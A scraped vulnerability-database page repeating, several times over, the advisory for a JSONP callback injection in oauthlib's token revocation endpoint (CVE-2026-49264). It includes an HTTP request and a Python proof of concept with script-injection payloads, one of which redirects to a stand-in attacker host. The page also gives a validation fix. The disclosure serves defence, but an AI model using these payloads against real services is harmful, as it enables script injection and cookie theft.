Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "duplicity",
"purl": "pkg:brew/duplicity"
},
"ranges": [
{
"events": [
{
"introduced": "0.7.13.1"
},
{
"fixed": "0.8.03"
},
{
"introduced": "0.8.05_1"
},
{
"fixed": "3.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-duplicity-CVE-2026-49264",
"modified": "2026-10-14T08:57:01Z",
"published": "2026-10-13T08:59:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-DVC-CVE-2026-49264 (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-10-04 22:06 – Updated: 2026-10-14 09:19 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "dvc",
"purl": "pkg:brew/dvc"
},
"ranges": [
{
"events": [
{
"introduced": "1.1.2"
},
{
"fixed": "1.1.4"
},
{
"introduced": "1.5.0"
},
{
"fixed": "3.67.1_16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-dvc-CVE-2026-49264",
"modified": "2026-10-14T09:19:44Z",
"published": "2026-10-04T22:06:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-EVERNOTE-BACKUP-CVE… (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-09-30 18:49 – Updated: 2026-10-14 08:48 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
